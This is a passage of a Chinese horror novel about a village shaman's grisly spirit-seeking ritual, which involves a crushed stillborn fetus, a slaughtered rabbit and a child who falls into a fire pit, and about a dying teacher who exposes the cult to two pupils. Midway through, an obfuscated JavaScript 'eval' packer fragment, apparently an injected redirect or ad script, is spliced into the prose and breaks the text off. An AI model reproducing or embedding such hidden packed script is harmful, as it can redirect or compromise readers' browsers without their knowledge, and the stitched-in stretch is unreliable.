按照往年的情况,万金花会在院子里挥舞她的宝剑,用剑尖挑起一只拔了毛的死鸡崽,扔到地上斩下鸡头。今年万金花拿出来的,却是一个泡在玻璃瓶子里的死胎,这个死胎长着小手小脚,活像季有兰肚子里掉出来的那个。万金花没有用上宝剑,而是拿起拂尘在死胎上空转了三圈,她长满老茧的手将这个死胎举起,往李池的方向瞥了一眼道:“寻灵酒,来咯!” 小白菜跳出来捧给万金花一个石臼,那个可怜的死胎就被放在石臼内,由万金花捧着绕场一周,在场者每人一杵子,咚、咚、咚,将死胎捣成了浆糊。石臼被摆在李得彩面前,用一壶米酒灌满,酒香和血腥味儿混合在一起,有些站的近的胃里翻江倒海,已经去扶着墙吐了。李得彩还是如同没有生命的木偶一样,饮下这盅酒的时候面无表情。 石臼底上剩的一点被端到天师神像上方,从天师的头顶流下,糊满了他的眼睛。 砰!啪! 一只爆竹在院外飞起,一个火盆点上火,一只装着白兔的铁笼子被拖到正中央。 抓起一只兔子最好的方法是拎它的耳朵,但万金花提着的却是它的后腿,那只兔子在她手里倒吊着扑棱前肢,像陀螺一样在院子里转了一圈之后它高高飞上天空。或许它现在更像是一柄锤子而不是一只兔子,因为万金花用它的脑袋砸裂了供桌的一角,木屑飞到她的鞋子上,兔子不再动了,从它的口中也渗出蜡烛油一般的血流来。 它血珠般的眼睛看着自己雪白的身躯被神婆子投入烈火,成为这场仪式上的第二个祭品,神婆子对着周遭围观的人群说道:“你们可以跟上了!” 于是兔子躺在那口火盆里,被四面八方飞来的上百枚硬币砸中,这些硬币有的飞到供桌上,有的弹到万金花的脸上,有的擦过小白菜的脸,他们毫不生气,只是笑着等待。而他们可敬的村长兼妙手师傅李得彩坐在厨房的长凳上,继续啃食一只烂了半边的柿子。这宛如游戏机出币口的声音持续了整整两分钟,兔子在这两分钟里彻底魂归高天,而李小潭也在家里发现,自己养的兔子不见了。 “还能是谁?”季有兰躺在床上望着天花板,现在她的左眼已经完全看不见东西,变成了鱼眼珠似的灰白色。衣柜里的钞票是她用手工活儿攒下来的积蓄,一半给李小潭交学费,另一半是意外和急病发生时可以周转的后路,现在它落入了万金花的口袋,都拜李池所赐。季有兰躺在床上闻到了羊圈里三只山羊堆积如山的排泄物发出的臭味,她想要呕吐,想把她和李池共同睡了十几年的床铺弄得一团糟。 “羊圈没扫吗?”她问小潭。 “扫了,晚上扫了呀。” “哦。”季有兰缓缓吐出三个字,“真恶心。” “那是我的兔子!”小潭坐在床沿上为自己的兔子哀悼,眼泪流到腿上,那出自愤怒,而不是悲哀。 “你爹看来你的就是他的。拿去祭神还是咱们的福气呢。” “呸!狗屁福气!他算什么!” 季有兰撑着身子坐起来,“他,他是个软骨头,他们家的男人都是软骨头。” 李小潭对父亲和几个伯伯的了解没有季有兰那么深,但她也多少能察觉到一些端倪。兔子的生命已经不可挽回,但李小潭的骨头不能软,也不会软,她对父亲的行为咬牙切齿,“我要报仇。” 以往,季有兰会支起身子指责李小潭这样说话口无遮拦不恭不敬,这次她没有,她只是望着天花板问道:“你怎么报仇?” 房间里头只有两人的呼吸声,过了一会儿传来李小潭低低的啜泣,她毕竟还只是一个十四岁的孩子,要回答这个问题还为时尚早。季有兰自己为这个局面开解,“小潭,你怨我吗?” “怨你什么?” “怨我没本事,怨我嫁错了人,怨我兜来转去还是在明月庄打转,像头毛驴似的围着男人转。” 她想说对不起,但愧疚到了极点连这三个字也说不出来了。季有兰曾无数次后悔没有看清李池这个人,而早早踏入婚姻的代价是她现在只能躺在床上流泪。她像一条死鱼一样滑下去了,她是个女人,对于她的丈夫李池,或是明月庄的其他男人来说,大多数时候她都只要像一条死鱼一样就可以了,偶尔可以变成牛,变成羔羊,变成下蛋的母鸡。 “妈妈,我只要你快乐。” 李小潭跪下来抱着她,“妈妈,我们逃走吧。” 母女二人的手紧紧握在一起,直到从寻灵仪式的方向传来人群惊慌的吵闹声。 6. 滴答,滴答 兔子遭遇的灭顶惨案还要说回到今天更早些时候,万金花的这顿寻灵酒从太阳落山的时候就开始筹备,这天天气很好,沿着清溪河的方向遥遥望过去,就能在桥洞里看到一轮金辉万丈的落日。 落日出现在桥洞里的时候中学里头几乎就没有人了,老校长也早就回家去,她的腿脚不好,每天晚上要花上很长的时间按摩并泡脚,我虽然不知道这是否有用,毕竟这么多年以来似乎没有好转,这个年轻时就花白了头发的妇人已经为中学操了半辈子的心。 那时候我留在学校里当然不是为了寻找老校长的蛛丝马迹,而仅仅是一种习惯。我居住的那间老屋和中学只有一步之遥,在墙边坐着就能看见清溪河潺潺的水流从眼前经过。我对周遭的声音并不十分敏锐,只是很久以前李春生说他需要听着流水的声音才能入睡,所以搬到这里之后我连续几个晚上专心去聆听河水拍打堤岸的声音,发现它神奇的兼具吵闹和催眠两种特质。 我坐在墙边李春生时常坐着的位置上抽一支红塔山,明月庄的太阳在任何季节都能叫人身上暖烘烘的,伴随着耳边清溪河富有韵律的波浪声,我也昏沉沉地睡了一会儿。在此期间万金花的请仙盛宴也即将正式开始,她的小儿子小白菜还坐在家中的那把太师椅上把玩金铃儿的历史课本。 “小混蛋,放手!” “啊啊啊啊呀!”小白菜人长得不大,手劲却大得很,他把姐姐的课本当做心仪的玩具来抢夺,嘴里不断吐出急切的叫声,嚎叫着想要争夺这场纠纷的主导权,银铃儿猛一拽就将小白菜拉到近前,她六岁的弟弟现在几乎腾空,抬起脚像踹开一只疯狗一样将小白菜踹飞。 男孩子尖叫着摔倒在墙边,却没有哭喊,而是扶着墙阴恻恻地瞥视着自己的姐姐。银铃儿也没有理他,她烦死了自己的这个弟弟,剩下一直插不进手的金铃儿略显尴尬地站着。 “还不抱他起来?”他们的父亲李得彩宛如家中飘荡的幽灵,给凝滞的局面带来这么一句话作为结束语。 “又不是没有脚,不会自己起来?”银铃儿拽走了正要抱起小白菜的金铃儿,“管他干啥?又不是缺胳膊少腿的,也不是土皇帝,我才不伺候他呢。” “嘿嘿嘿……”小白菜开始掀起自己的衣服擦脸,转瞬着了魔似的开始怪叫,“啊!啊啊——呃啊——!” “你要死啊!”万金花把擦了汗的白毛巾飞到孩子的脸上,他抓着那毛巾又嘿嘿嘿地笑起来。李得彩在地上的一篮柿子里挑出两个来,坐在长凳上就开始啃,他的舌头一碰就知道这是那个瘸子家的柿子,瘸子每年这时候都要拿来一筐。瘸子家的柿子好吃,不涩,个头又大,甜津津的,李得彩空下来的时候老想着。 神婆子从楼上嗒嗒嗒地跳下来,白了坐在厨房啃柿子的李得彩一眼,“一家子都不消停。” “他抢姐的课本!”银铃儿率先告状,万金花三两步略过了她一把抱起小白菜,“什么时候了还在这儿玩,还不赶紧换衣服去。” “我说他抢姐的课本!”银铃儿重复道。 小白菜正在万金花的手里被打扮成一个红脸颊白额头扎小辫儿的奇怪模样,万金花一边比划着衣服的大小一边回应道:“他几岁,你们几岁呀?” “你偏心!” “我忙死了!”万金花将地上的白毛巾又扔到李得彩的脸上,“死人,还不去换衣服啊。还有你们两个!”她在房里从东走到西,从南走到北,头嵌在箱子里翻找她那堆丁零当啷的物件,声音经过箱子的共鸣显得更加沉闷,“帮不上忙就别碍事!” 金铃儿和银铃儿其实早已习惯了万金花的这个态度,银铃儿对此报以鄙夷的白眼,拽着姐姐就退出了这个混乱的舞台,李得彩背着手站在厨房的门口目送两个长相几乎一模一样的女儿离开,小白菜又跳上了太师椅开始晃腿。 “嘿嘿……嘿嘿……” 李得彩和万金花并不能说清他们的三个孩子是如何长成了如今截然不同的性格,但他们三个各自出生时的故事在明月庄众人皆知。 十几年前,李得彩在外面插完秧回到家里的时候,就在大门口闻到一股血腥味,他知道是万金花生了。他走进门就看见万金花躺在床板上叉着腿,裤子早就被接生婆剪烂了扔在地上,那个白发婆子坐在地上大喘气,额头上的汗像雨似的哗啦哗啦往下流。李得彩看见接生婆的脸上被踹得青一块紫一块的,她手边的地上有半颗门牙还沾着血,那个婆子见了李得彩就指着他骂道:“你老婆是个要人命的呀!” “我偏就是要你的命!有这两个讨债小鬼来要我的命还不够,你这个半截入土的老东西还要来骑我的肚子,我踹的就是你!”万金花两张纸一样的嘴唇里吐出对接生婆的控诉,她脑袋上的汗不比白发婆子的少,肚皮一起一伏,从床上撑起半个身子来骂她,“你一个子儿都别想拿!这俩孩子是我自己生出来的!有你什么事儿!” 李得彩这才看见万金花的手上还攥着剪刀,她的两条腿之间一片血渍都快干了,还有一坨黑漆漆红彤彤的肉团似的东西。 “娃儿呢?”李得彩只问道。 白发婆子颤抖着,指着地上那个有着花纹的瓦罐道:“那儿呢……遇上你们真是倒了霉,呸!” “死老婆子还不赶紧滚啊!你这张撑开了能装五斤面粉的老脸也不知道恶心,脏了屋里保胎仙娘娘的眼,哪天就叫你家有的全是瞎眼哑巴六根指头的!” 接生婆跑走的时候连鞋子都忘记穿走了,李得彩捡在手里晃悠了两圈又放在桌子上,他往那个瓦罐里看去,两个湿漉漉的孩子抱在一起,一声不吭。 “你是死人?你要还有气儿就快点给她们擦擦身子拍拍背,听得哭才算活呢!”万金花一气儿说完就两眼一翻晕了过去,她的两条大腿也卸了力,她整个人形成一个“大”字钉在床板上。李得彩呢,他捧着瓦罐四处转,一下子想不起来保胎仙娘娘在哪个方位,瓦罐里的两个孩子的皮肤由粉变紫,他慌了,便将瓦罐端到床前倒转过来,那两个孩子的脑袋就一起挤到罐子口,两姐妹紧紧地抱在一起谁也出不来。 李得彩当然知道得一个一个出来的道理,却不敢上手去碰孩子,他开始摇晃罐子,上下左右前后来回摇,摇得他本人在床边汗如雨下,不知道的以为是他刚生了孩子。 扑通。 一个孩子掉到了万金花的肚皮上。 扑通。 另一个也掉了下来。 呜哇—— 呜哇—— 两个孩子先后哭了起来,那罐子口还有水滴下。 滴答,滴答。 李得彩看着万金花肚皮上的两个孩子终于松了口气,他将床上那坨黑红黑红的肉团抓起,进厨房用菜刀剁碎了倒进盅里加水小火煎熬。万金花再醒过来的时候身子已经被人擦干净了,两个姑娘用布包着睡在旁边,瓦罐也被洗干净放在了墙角,李得彩已经下田去了,她将盅里熬着的东西舀了一碗来一饮而尽。 没人告诉万金花,其实李得彩去求了一次保胎仙,供了两个柿子,磕了三个头,“保胎仙娘娘,我只求我两个姑娘平安长大,无病无灾,您要拿走什么拿了便是,我李得彩没有怨言,没有怨言,没有怨言。” 大约保胎仙的确听到了李得彩的愿望,金铃儿和银铃儿在明月庄的田地里摇摇晃晃地长大了,这成了李得彩对求神诸事深信不疑的历史来源。然而他也没有想到,金铃儿和银铃儿的八岁生日之后,万金花躺在床上昏昏沉沉地做了一个梦。 据万金花所说,梦里一个衣袂飘飘的仙子叩响了她家的院门,那仙子交给她一颗金光闪闪的白菜,那颗白菜足足有半个人那么高,抱在手里却像羽毛那样轻。这白菜叫醒了万金花的美梦,也让她发现两腿之间羊水已在流淌。 这个伴随着神仙托梦吉兆降生的孩子就是小白菜,他一出生就嗓门通透哭声洪亮,万金花每每与人说起他出生时的故事都激动地要为自己喝彩。她这样的状态一直持续到两年后,小白菜依旧不会开口说话的时候,万金花第一次蹲在墙角流下了眼泪。 “李得彩,这孩子好像有问题。”万金花说道。 “嗯。” “你说,这是为什么呢?” “不知道。”他坐在厨房的长板凳上抽烟,金铃儿和银铃儿并排站在弟弟的床前,看着这个孩子把鼻涕舔进嘴里。 “李得彩,他是个傻子,咱们生了个傻子。”万金花的头发全散着,她现在完全不像白天风光无限的那个明月庄神婆子,她蹲在地上像一头老驴嚎叫般地大哭起来,“傻子……咱们生了个傻子……” “嗯。”李得彩深深吸进一口烟,在肺里打了个转儿再吐出来,“那也没办法。” “可是他是有仙家赐福的孩子,怎么会是傻子呢?” 李得彩自然而然地想到了自己几年前在保胎仙那里说过的话,也顺理成章地认为这就是保胎仙从他这里拿走的东西,他用粗糙的手指捻着衣角,不敢看房里的任何一个人,最终还是从喉咙里挤出一句:“没办法呀。” “你这辈子就是没办法的!”万金花跳起来骂他,但她的丈夫就像一块嚼烂的口香糖,怎么踹他就什么样,越踹他就在鞋底粘得越牢,越让人不自在。 万金花害怕了,她的人生整个都牵在与明月庄三位神仙的关系上,这样仙缘深厚的人生下了一个不会说话的傻儿子,将直接动摇她在明月庄的权威地位。 万金花抹了一把眼泪说:“李得彩,他就算是个傻子,我也能让明月庄的人把他捧得高高的,你信不信?!” 李得彩没说信,也没说不信,他呆滞地望着窗口渐渐沉下去的夕阳,直到烟灰烫到了他的脚面,才缓缓吐出一个字:“好。” 万金花带着小白菜出没在各种需要神婆子出面与吉祥天师沟通的场合。万金花身上最大的优点就是一个转得很快的脑子和一张厉害的嘴巴,在这两样东西的主导下,小白菜张嘴吐出的咿呀音节成了通晓神言的密码。而小白菜似乎也是个聪明的孩子,他惯于配合自己的母亲在各家各户进行表演。 只要万金花露出一些需要询问神明的意思,小白菜就会立刻直起脖子喘粗气,这就能把大多数人吓一跳。他张开双臂绕着万金花跑,挑选一个合适的位置直挺挺地倒下去。大多数时候,万金花会接住他的脑袋,但也有距离太远碰不着的时候,小白菜的后脑勺就直接接触了地面。 没人在意这些细节,因为他们都会看到小白菜开始扭动身躯,张大嘴发出野兽般的嚎叫。 “呃啊啊啊!啊啊——” 有时候他会啃食地面的泥土,有时候他抓着旁人的裤腿痛哭。在这些行为之后,他就会顺着万金花的意思画出一些符号。这些符号可不是瞎编的,他们都被清楚地记载于《千年万代引》中,各自有着明确的含义。 现在,小白菜比自己的两个姐姐都更清楚明月庄的各种拜神传统和习俗,也成了家喻户晓的神仙童子。寻灵酒上他在万金花的授意下成为请仙的小童子,明月庄的人当然不会有所异议。 这个口不能言的男孩子迈步在明月庄的道路上奔跑时,他的两个姐姐金铃儿和银铃儿也迈步在通往中学的道路上。 “这个时间学校应该已经关上了门。”金铃儿说。 姐姐的担忧并没有对银铃儿造成困扰,“那个围墙一蹦就翻进去了,你跳不上去我就拉你嘿嘿。” “不好吧。” “我们又不是小偷,也不是强盗,学生去教室写作业,有什么不好的?在家里头肯定要烦死了。” 中学的教学楼拢共只有两层,初三的教室在一楼,金铃儿她们的教室紧挨着李春生的办公室,办公室的窗户里正透出灯光。 “怎么晚上还有人?难道是遭贼了?”银铃儿先叫起来。 “办公室里有什么能偷的呢?” 银铃儿抓紧了身上的挎包,她们放轻脚步像猫儿一样掩到了墙边。里头明晃晃的灯光从窗户里透出来,银铃儿在后窗露出一只眼睛,瞧见一个年轻男人的背影伏在桌边。 “春生老师啊……”金铃儿认出了年轻男人的身份,二人有了放松神经的底气。 “这是他的办公室,还能是谁?” “不是贼就好。” “是不是应该去打个招呼?”银铃儿问。 砰!啪! 神婆子放响的爆竹代替了金铃儿的回答,她条件反射地缩了一下身子,旋即李春生的办公室里头杯子倒地、椅子拖行和其他小物件碰倒摔落的声音和爆竹一样炸响在耳朵边。 同样听到这些声音的还有在水边昏沉睡去的我,在我踏进那间办公室之前,金铃儿和银铃儿就已经闯了进去,因为她们在窗外瞧见了李春生的口中吐出鲜血。 她们是两张意料之外的面孔,李春生撑着桌子边勉强站着,手里的白帕子现在只剩一角还不是红色,血贴着李春生的手掌,血像蜡烛油似的沿着手臂淌到桌子上。 滴答,滴答。 李春生的眼珠和身体都在颤抖,这个一向整洁干净的年轻人从未如此不堪,连我都没见过他这个样子,更别提在自己的学生面前。无论是他,还是我,亦或是金铃儿和银铃儿,都未曾料想过这副场面。李春生想要将桌上等待批改的作业推远,这个举动让他手上的鲜血在书页上也显出狰狞的一角,名为“恐惧”的情绪再次在李春生的人生当中露出爪牙。 “春生老师……你怎么……” 砰!啪! 第二只爆竹。 李春生再也站不住了,他跌坐在椅子里再次呕出一口鲜血来,伴随着难以中断的咳嗽,银铃儿忍不住问他:“我帮你找医生吧,春生老师。” “别咳咳……别。” “可是老师你在吐血。” “那我去找慧慧姐。”金铃儿丢下话就没了影子,她大概都没有注意到在路上略过了我。 “春生老师……生病了吗?”银铃儿问他。 李春生歪在椅子上咳嗽,他徒劳地解释道:“没事,小病,过段时间就好了。” “小病才不会吐这么多血呢。”银铃儿不信他,“春生老师你瞒我们。” 是,他是瞒着她们了,可他不能说,也不知道怎么撒谎。他在这个姑娘面前畏缩了身躯,他能回答学生们提出的各种问题,刁钻的,愚蠢的,新奇的,老套的,可是面对银铃儿的这个问题,他却哑口无言。 李春生没有再吐血了,呼吸也慢慢平稳,但他苍白的手像一个老年病人一样持续地颤抖。 滴答,滴答。 “春生老师,你在哭啊。”银铃儿说道。 我在门口滞住了一秒,如果我没有记错的话,李春生在过去的年岁里不曾掉下一滴眼泪。 “李春生!”金铃儿带着慧慧赶到了,这个平日在学校医务室鲜少出门的女人呼喊着他的名字,所有装备和她本人一并奔到李春生的面前。 “慧慧姐,春生老师要不要紧啊!”银铃儿扯着大嗓门喊道。 “诶呀小笨蛋,你们春生老师就是操心你们操心太过了晓不晓得,你们给他省点儿心他好得可快了!你们春生老师长命百岁,怎么也得盼着他点儿好,你们这帮家伙哪天都没让他睡个安稳觉,这才病了呢。” 慧慧这一串连珠炮话音未落,李春生就忽然朝我说:“你快带她们俩回家去。” 这两个姑娘显然还没有从刚才的局面中平复心情,慧慧再度解释道:“春生老师生了病要好好休息呢,咱们这么多人在这儿他怎么休息?你们回家去睡一觉他保管就好了,信不信我?” “快回去!”李春生说道。 那天晚上我牵着金铃儿和银铃儿行走在明月庄的道路上,看到她们家中院落中央升起熊熊火光,我们远远地望去竟与更远处的天师登临塔有了一样的高度。等到我们终于走到了门口,这对双生子在家门口经历了她们人生中最残酷的一课: 院子中央的火盆里白兔烧成了黑炭,火焰蹿得比人还要高,围观的人群抛出的硬币好似一场小雨。 她们那个表面痴傻的弟弟小白菜趴在地上捡拾所有的硬币,他从门口捡到供桌上,在众目睽睽之下爬上桌子,掏空香炉,他将捡来的硬币放在嘴里,摞成宝塔。小白菜跳下桌子,开始捡拾火盆周围的硬币,他好像感觉不到火焰的温度,甚至开始去抓盆沿正在融化的硬币。 小白菜忽然停下来,注意到了我们似的,他两手抓满了钱币,盯着门口的两个姐姐,忽然歪头咧嘴笑了笑,这一笑,嘴里的硬币就哗啦啦地掉出来。 钱币落地的脆响吸引来一个还留着胎毛辫子的小男孩,他只穿着一件单衣,满头的汗,也开始学着小白菜的样子捡起地上的硬币。而小白菜指着火盆把嘴咧得更大,我知道他是想说:“那里头更多。” 想来这男孩也听懂了,他靠近盆沿,一头扎进了火盆里。 我站在那个燃起熊熊烈火的院门口,正对着那个扎进火盆里的小孩,清楚地感到金铃儿浑身颤栗。还没等我分辨出当下是什么情况,从脚边忽然就起了一阵雾,我低头一看,那雾气是彩色的,很浅,不易察觉,也不迷人的眼睛,它很快就弥漫到腰际,好像涨水的清溪河把我们包围。 那一刻我就明白了李春生的盘算,看到了他本人身上决绝又疯狂的特质,像博物馆里展出的字画一样直观地呈现在我眼前。院子中央的那个小孩引起了人群的骚乱,小白菜站在人群的外围,我看到他对着我们露出微笑。这一笑他的嘴巴就兜不住满满当当的硬币,稀里哗啦地从他嘴里掉出来。金铃儿躲到了我的身后,她小小的喘息声在夜晚的雾气中暴露得非常明显。 我一点儿都不擅长带孩子,当时真想指着李春生抱怨一顿,怎么把这事儿扔给了我。我向来对职责范围以外的事不太关心,无缘无故地消耗人的体力和精力。然而眼前的事让我不免感到愠怒,小潭的事还尚未解决,他又把金铃儿与银铃儿推进来,这不是一个好选择。我唯一能想到的解释,就是今夜事发突然,李春生也是临时做出的决定。 万金花的这对双生子虽然在血缘上距离她最近,在祭祀的仪式上却距离她远得很。她和李得彩夫妻俩也对她们是否参与其中表现得漠不关心,穿插在生活中的小小仪式表面上也是稀松平常,这姐妹俩尤其是银铃儿对万金花的这些把戏早就不屑一顾,这对双生子几乎没有直接面对过这样的局面。 现在她们已经目睹了可怕的东西,要做改变就为时已晚,我只能扮演好一个成年人应有的引导者角色,既然李春生相信我们,我也就相信她们,我蹲下来对身边的两个姑娘说:“从后门回房间睡觉,今天晚上的事别和任何人谈起,能做到吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李春生没有说话,我们都知道慧慧说的是真的,他的现状我们心里都有个大概的轮廓,却想不到是这样严重,慧慧将此看作一个危险的信号——李春生的时间不多了。她不得已也成为这场死局的同谋。 “我帮不了你什么,李春生,我只能祝你好运。”她走到我的身边顺手抽走了我的烟,“还有你,李月来,少抽点儿吧。” 我说:“万金花寻灵那边出了事,你可能还有的忙。” 李春生说:“我看得到。” 我抽了一把椅子在李春生面前坐下,明月庄的热闹不属于我们,李春生平静地看着我的眼睛,用同样平静的语气问我:“你怎么对她们说的?” 果然,我想的没错。在看到金铃儿和银铃儿推门而入的时候,李春生除了惊讶,还用他的信任下了一个大胆的赌注,他知道我会过来,也知道寻灵那边发生了什么,他让我带领她们去直接目睹明月庄祭祀真正残酷的一面。 “我让她们回房睡觉,别问,别说,除非你主动和她们谈。” 他笑了,“你也不像自己说的那样迟钝嘛,咳咳……” “哈?和你有关的事他才转得快呢,李春生,你少夸他,要不以后我使唤不动他。” 我想慧慧永远都可以使唤我,但现在我更想知道这手忙脚乱的夜晚到底是如何发生的,我问李春生:“你就这样把金铃儿银铃儿推进来,是临时起意还是早有预谋?” “临时起意。”他毫不犹豫地回答了我。我倒希望他是早有预谋,而不是这样狼狈地做决断。 “看来事情也不全在你的掌控中。你就这么有把握?” “有啊,今年逢七,就是大祭,石臼里的东西迷住了眼睛,但我也不是就这么瞎了。那里发生了什么我看得清楚,金铃儿她们当然会看见的,她们也应该看看了。” “我不是说这个。”我走到他的桌前,李春生抬起眼看我,他的眼镜反射着窗外月亮的光辉,“她们在明月庄长大,你就这么没有铺垫地让她们暴露在事实之下导向的是两个极端。” “要么更加疯狂,要么大梦初醒。”他接话道。李春生时常责备自己对明月庄一无所知,可在我看来,他明明就对明月庄的特性了如指掌。 “你怎么确定她们不会走错路?” “一来我相信我最好的两个学生能够记得我教给她们的道理,二来我相信你,李月来,能够做出恰当的指引。” 疯狂和清醒,李春生本人好像是两种特质的重叠,他在始料未及的慌乱中太清醒地知道今晚是不可多得的机会,来向这对姐妹揭示这里的信仰对人的戕害,毫不犹豫地将金铃儿银铃儿推进了这个残忍的成长过程,对这两个十四岁的孩子抱有完全的信任,这显示出他疯狂的一面。 李春生又说:“赌一把罢了。输了……就输了吧。”他的脸上露出苦笑。面对明月庄的现状,李春生无能为力又狠不下心一刀两断,所以他秉持着能救一个是一个的态度在中学里徘徊了五年。 慧慧总算开了口问他:“你教的是什么道理?” 她一下就把我们的交谈转移到文质彬彬的领域,李春生低头握住左手的手腕,“我希望她们像阅读历史那样做一个旁观者。”然后他抬起头来看着我,“要是遇到难以理解的事情,别走得太近,站到远处去想想为什么,能怎么做,此事是好是坏,好事如何锦上添花,坏事如何及时止损,避免更坏的结果。”他的眼神非常平静,又好像带着期盼,仿佛这道理是从我身上取来的灵感。 我反驳他:“我看你自己做事也不见得很理性。” 他忽然问道:“你是在生气?” 生气?没有记错的话,我已经很久都没有感受过这种情绪了,严格的说别的情绪也没有。但李春生这么开了口,我就不可避免地回想自己方才的举动。他似乎说对了。我一时沉默下去,这让我们在谈话的间隔再次听到了远处隐约的喧闹声,比起之前似乎小下去了很多,清溪河潺潺的流水声不依不饶地拍打堤岸,明月庄晚间的风吹响了竹林的叶子,我在沙沙的韵律中看见李春生的眼里满是红血丝。 “诶呀拐弯抹角的!”慧慧推了一下我的脑袋,以显示她对方才对话的不耐烦,“你气他没和你商量呗,姑爷爷,他怎么和你商量,他有时间和你商量吗?李月来,你气得没道理。” “我是没有道理。” “你在赌气。”李春生的声音很轻,却很笃定。 “诶哟!你居然会赌气?李月来,你像个活人的时候可不多。” 我的确对李春生这赌徒般的行为感到不满,觉得他过于轻率地就做出了决定,但更多的还是对它可能招致的坏结果而担忧。如果金铃儿和银铃儿并不坚定地站在我们这边,而是明月庄生人祭祀传统的小帮凶,或者因为恐惧而失去了反对母亲的能力,他一直尝试的事就要再次品尝失败,这不好。 过了很久,李春生的气息终于真正地平稳下来,他试图从椅子上站起来,“金铃儿她们……” “你坐下。”我说。 “诶呀行了!”慧慧大喊着把我拎出去,“他累坏了,你也有点昏了头,快点儿去你那儿弄些吃的来吧!”我在慧慧的手里转了几圈就被她推到灶台前。 “你现在知道生气了?他说要去死的时候你怎么就只是看着,该不会从头到尾都只有我劝过他再想想吧?” 锅里的水开始冒小气泡了,我说:“这是他决定的事,你也不是第一天认识他,我什么时候劝得动?” “别赌气了!” “我没有。”我真的没有。李春生第一次提起这个想法的时候是在山羊坡上,我端着一壶酒看清溪河旁的一个老翁钓鱼,什么也没说。因为在我看来,他的决定是正确的。 水沸腾起来,我把一点馄饨的存货下进去,对慧慧说:“就算他不这么做,明月庄也会把他拖垮,你难道想看他彻底疯掉吗?” “我知道你这个人从来都只考虑正确性,可这不合理呀,难道就没有别的办法吗?” “一共有三条路。” 慧慧直跺脚:“你说呀!” “一是逆转时间,回到最开始。这做不到,我们当中没有任何一个可以干预时间。二是抹除记忆,让人们重新建立与吉祥天师的关系,这也做不到,你让那些已经被害的怎么办?他们忘了自己做过的事,就可以洗脱曾经的罪吗?第三条路,就是李春生正在做的。” “那这算什么?算他倒霉吗?” “不合理,我们也只能按规矩办事。”我看向锅里,觉得我们也只是这沸腾的大千世界中被气泡推着翻滚的几只馄饨罢了。 慧慧的声音平静下来,“真没意思,不如我也死了算啦。” “你不能。” “我知道你要说不能。是啊,你我都不可以,世上的灵魂在生死两端流转,你我各执一端来执行生死法则,当然不可以,那难道他就可以吗?李月来,生命不是可不可以的。” 我承认,她说的我不太明白,我只是觉得,规矩就是规矩,也多的是无可奈何,没人是特殊的。 慧慧抱怨了一句:“什么狗屁规矩,也没个狗屁正神来改改。” 等我们端着馄饨回到李春生的办公室,才发现他已经趴在桌上沉沉睡去,在这个充满了波折的夜晚,他终于难得地拥有了安稳的睡眠。 7. 药 之后的数日,明月庄所有人的目光全都围绕在那个追随小白菜的指引投身入火盆的男孩子身上。这个可怜的家伙叫作毛蛋,他的名字由来当然就没有小白菜那样神奇,只是觉得贱名好养活,就这么叫着,到了要上学的年纪再改也不迟,明月庄里有的是这样的家庭。 小毛蛋的样子很好认,他的脑袋后面蓄着长长的胎毛,编成小辫子垂在身后扫他的屁股。寻灵的那天晚上,他的脸被化作了焦炭的兔子拥抱着,烧了一半的符纸来舔他的眼睛,他咯咯直笑停不下来,还有那正在融化的硬币,它们跳起来亲吻小毛蛋的脖子,他手舞足蹈,大概是硬币碰到了他的痒痒肉。 到了白天他就躺在床上,脸蛋就像一个大大的血窟窿,上面长满了脓包和水泡,棉布盖上去就会黏住,所以他就这么死尸般平躺着,没有任何遮掩,脓水混着血在脸上缓慢结痂,又疼又痒让他控制不住地要去挠,他的爹娘只好捆住他的手脚来避免挣扎再添新伤。 小毛蛋的母亲在一夜之间就愁白了一半的头发,面对突然降临在儿子身上的意外,这个女人的脑子里想不到任何办法,她也想不通毛蛋这么做的理由,所以她需要一个回答来定性这件事。 而能够提供这个回答的人,万金花,还坐在家里的床榻上津津乐道:“碧云天,碧云天 ,李得彩,咱们的十八代祖宗拜了几百年的吉祥天师,可这几百年当中,你知不知道有过几次碧云天?” 万金花指的就是当晚如河水般萦绕在腰间的彩色雾气,这被称为碧云天的吉兆预示着今年祭祀将会取得傲人的成果,也表明作为祭祀主持人的万金花得到了吉祥天师的认可。有一首传唱了几百年的歌谣为证: 碧云天,黄叶地,天师与我来相庆。 玉为床,金作米,红鸾花开吉兆来。 登临塔上九重纱,牛羊麦谷比天高。 心诚万事皆可成,身外之物都要抛。 天师圣言已明了,神婆传音你听好。 李得彩的手里攥着他收藏的一支古巴烟斗,那烟斗的外壁已经在他常年的抚摸下有了油亮的光泽,他浑黄的眼睛望着天花板上烟熏的痕迹,动了动嘴唇问道:“几次?” “一次!只有一次!昨天晚上是第二次,就在我主持寻灵的时候!”万金花的眼珠都要爆出来了,“李得彩,这是天大的好事儿啊,有这么一次碧云天,你我以后都是要飞升仙界的人了!” 李得彩用他大拇指上的茧摩挲着烟斗,不动声色地回了句“嗯”。 这给了万金花莫大的自信,要将今年的拜神大会办得风生水起,令人难以忘怀。她在家里扳着手指头数:“九层纱还在织,鸡鸭牛羊备得差不多了,老季那里不着急,还要一个小药引子,麻子怎么还没送来……” 李得彩趿拉着他的拖鞋从万金花面前走过,小白菜跟在他身后模仿着他的样子,万金花朝李得彩那对有着厚厚污垢的耳朵问道:“麻子呢?他死了?还不送来?” 李得彩举起手里的那只古巴烟斗,凑到鼻前吸白粉似的闻,他平静地说道:“麻子说了,现在不好弄。” “呸,偏偏这时候不好弄?谁信他。小孩还不好找吗?” “哑的不好找。” 万金花吼起来,“又不是非得要哑的!李得彩你一天天胳膊肘往外拐是吧,这小药引子的事儿多少年了就是麻子的活儿,怎么你倒向着他?” “嘿嘿……” 小白菜坐在地上看着他们,从舌头底下取出一枚昨晚捡的硬币来放在自己头顶,他看到李得彩捧着烟斗坐下嘟囔道:“这不有现成的吗?搞这么麻烦,还非要花钱。” “你说什么?” 李得彩翻了个白眼,“我说麻子这几年要价越来越高了。” “你缺那点儿钱?” “什么钱不是钱?” “李得彩,你比我还黑心呐。指甲缝里的泥你都能攒起来垒屋呢,毛蛋还没咽气呢你就盯上了,你是不是在哪儿把棺材本都存好了?” “你也配说我?” “我怎么不配?我做神婆这么多年治病救人,点悟开化,我比你有用的多!” 